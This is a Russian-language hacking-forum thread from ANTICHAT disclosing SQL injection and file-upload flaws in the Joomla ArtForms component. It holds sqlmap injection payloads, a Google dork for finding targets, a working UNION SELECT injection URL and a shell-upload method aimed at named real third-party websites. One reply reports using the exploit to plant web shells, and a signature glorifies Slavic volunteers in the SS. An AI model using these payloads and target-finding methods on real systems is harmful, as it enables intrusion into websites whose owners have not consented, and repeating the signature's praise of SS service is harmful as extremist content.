HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.02.2012, 22:55
Machine
Познающий
Регистрация: 23.06.2008
Сообщений: 34
Провел на форуме:
98050

Репутация: 45
Отправить сообщение для Machine с помощью ICQ
По умолчанию

1) Дата: 9.02.2012

2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/

3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability

4) Автор: Machine

5) Тип: удалённая

6) Опасность: 9

7) Описание: описание смысла уязвимости, пример дырявого кода

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

$db =& JFactory::getDBO();

saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );

Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для

проведения SQL иньекции, вводя произвольный SQL код.

Вывод sqlmap:

GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable

GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable

GET parameter 'formid' is vulnerable.

При подстановке в formid кавычки, встретил 2 варианта:

1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."

2. Уязвимый запрос никак не влияет на возвращаемую страницу.

Оба варианта можно эксплуатировать.

8) Эксплоит:

Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.

Вывод sqlmap:

---

Place: GET

Parameter: formid

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ

---

9) Поиск: пример поиска приложения через поисковые системы

Google dork: inurl:index.php?option=com_artforms

10) Решение: в /components/com_artforms/artforms.php

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

поменять на

$formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));

=====================

Видео _http://depositfiles.com/files/j5vqht4y9

=====================

Отдельное спасибо z0mbyak'у.
 
Ответить с цитированием

  #2  
Старый 10.02.2012, 22:55
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

по просьбе ТС
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #3  
Старый 10.02.2012, 23:29
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Код:
Code:
http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+&Itemid=202
обычный вывод
 
Ответить с цитированием

  #4  
Старый 11.02.2012, 14:43
z0mbyak
Познающий
Регистрация: 10.04.2010
Сообщений: 49
Провел на форуме:
168709

Репутация: 1
По умолчанию

Цитата:
Сообщение от None  
обычный вывод
Не всегда, таймбэйзед работает, а вывода нет)

Цитата:
Сообщение от None  
http://www.infotrust.ru/index.php?option=com_artforms&formid=13
 
Ответить с цитированием

  #5  
Старый 25.11.2013, 00:09
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от Expl0ited  
Expl0ited said:
Код:
Code:
http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+&Itemid=202
обычный вывод
Обычный вывод не везде срабатывает!

Понадобилось нарыть по быстрому шеллов, воспользовался данным експлоитом, до сих пор актуален, автору +!
 
Ответить с цитированием

  #6  
Старый 12.01.2014, 19:43
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Расковырял такую багу в версии ArtForms 2.1b7.2 думаю имеет смысл покапать и другие версии.

Заполняем форму прикрепляем свой шелл и идем в папку куда все заливается:

Цитата:
Сообщение от None  
site.com/images/artforms/attachedfiles/
сам код заливки:

Цитата:
Сообщение от None  
if (!in_array('error', $attfileerrchk) && $_FILES['attfile']['name'][$g] != '' ){
jimport('joomla.user.helper');
$saltpass = JUserHelper::genRandomPassword('5');
$attachmentsucc = $_FILES['attfile']['name'][$g];
$attachmentsname = date('Y-m-d-H-i-s-').$saltpass.'-'.str_replace(' ','-',$_FILES['attfile']['name'][$g]);
$attachments[] = $artuplpfad.$attachmentsname;
$attachmentstodb[] = $attachmentsname;
move_uploaded_file($_FILES['attfile']['tmp_name'][$g],$artuplpfad.$attachmentsname);
$meldung .= ''.$attachmentsucc.': '.JText::_( 'ARTF_SUCCESS' ).'
';
}
протестировал тут успешно:

Цитата:
Сообщение от None  
http://coon-cat.com/?option=com_artforms&formid=1&Itemid=1
Формат в котором заливается:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$attachmentsname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Y-m-d-H-i-s-'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$saltpass[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$g[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR
2014-01-12-16-15-32-PhpjV-shell.php

2014-01-12-16-19-22-vyEVm-shell.php

попадались сайты с расшареной папкой по запросу:

Цитата:
Сообщение от None  
Index of /images/artforms/attachedfiles
Но не везде проходила эта бага...

с закрытыми папками остается только брутить соль в название из 5 символов.

сам проект ведется здесь:

Цитата:
Сообщение от None  
http://joomlacode.org/gf/project/jartforms/
 
Ответить с цитированием

  #7  
Старый 11.09.2014, 23:48
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

ушло
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ